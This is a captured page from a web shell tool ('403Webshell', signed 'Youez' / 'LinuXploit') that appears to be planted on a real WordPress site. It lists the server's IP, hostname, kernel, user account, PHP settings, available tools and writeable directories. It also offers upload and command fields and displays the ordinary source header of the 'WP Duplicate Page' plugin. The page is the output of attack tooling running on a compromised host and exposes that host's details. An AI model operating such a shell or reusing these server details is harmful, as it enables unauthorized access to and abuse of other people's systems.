403Webshell
Server IP : 213.132.222.41  /  Your IP : 216.73.216.254
Web Server : Apache
System : Linux plesk4.nlhosting.net 6.1.0-0.deb11.50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1~deb11u1 (2026-07-02) x86_64
User : thecovenant ( 10927)
PHP Version : 8.3.32
Disable Function : opcache_get_status
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/www/vhosts/thecovenant.nl/httpdocs/wp-content/plugins/wp-duplicate-page/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhosts/thecovenant.nl/httpdocs/wp-content/plugins/wp-duplicate-page/wp-duplicate-page.php
<?php
/**
 * Plugin Name: WP Duplicate Page
 * Plugin URI: https://ninjateam.org
 * Description: Duplicate Posts, Pages and Custom Post Types.
 * Version: 1.6
 * Author: NinjaTeam
 * Author URI: https://ninjateam.org
 * Text Domain: wp-duplicate-page
 * Domain Path: /i18n/languages/
 *
 * @package NjtDuplicate
 */

namespace NjtDuplicate;

defined( 'ABSPATH' ) || exit;

define( 'NJT_DUPLICATE_VERSION', '1.6' );
define( 'NJT_DUPLICATE_DOMAIN', 'wp-duplicate-page' );

define( 'NJT_DUPLICATE_PLUGIN_DIR', __DIR__ );
define( 'NJT_DUPLICATE_PLUGIN_NAME', plugin_basename( __FILE__ ) );
define( 'NJT_DUPLICATE_PLUGIN_URL', plugins_url( '', __FILE__ ) );
define( 'NJT_DUPLICATE_PLUGIN_PATH', plugin_dir_path( __FILE__ ) );

spl_autoload_register(
	function ( $class ) {
		$prefix   = __NAMESPACE__; // project-specific namespace prefix
		$base_dir = __DIR__ . '/includes'; // base directory for the namespace prefix

		$len = strlen( $prefix );
		if ( strncmp( $prefix, $class, $len ) !== 0 ) { // does the class use the namespace prefix?
			return; // no, move to the next registered auto loader
		}

		$relative_class_name = substr( $class, $len );

		// replace the namespace prefix with the base directory, replace namespace
		// separators with directory separators in the relative class name, append
		// with .php
		$file = $base_dir . str_replace( '\\', '/', $relative_class_name ) . '.php';

		if ( file_exists( $file ) ) {
			require $file;
		}
	}
);

function init() {
	I18n::loadPluginTextdomain();
	Page\Settings::getInstance();
}
add_action( 'plugins_loaded', 'NjtDuplicate\\init' );

register_activation_hook( __FILE__, array( 'NjtDuplicate\\Plugin', 'activate' ) );
register_deactivation_hook( __FILE__, array( 'NjtDuplicate\\Plugin', 'deactivate' ) );

Youez - 2016 - github.com/yon3zu
LinuXploit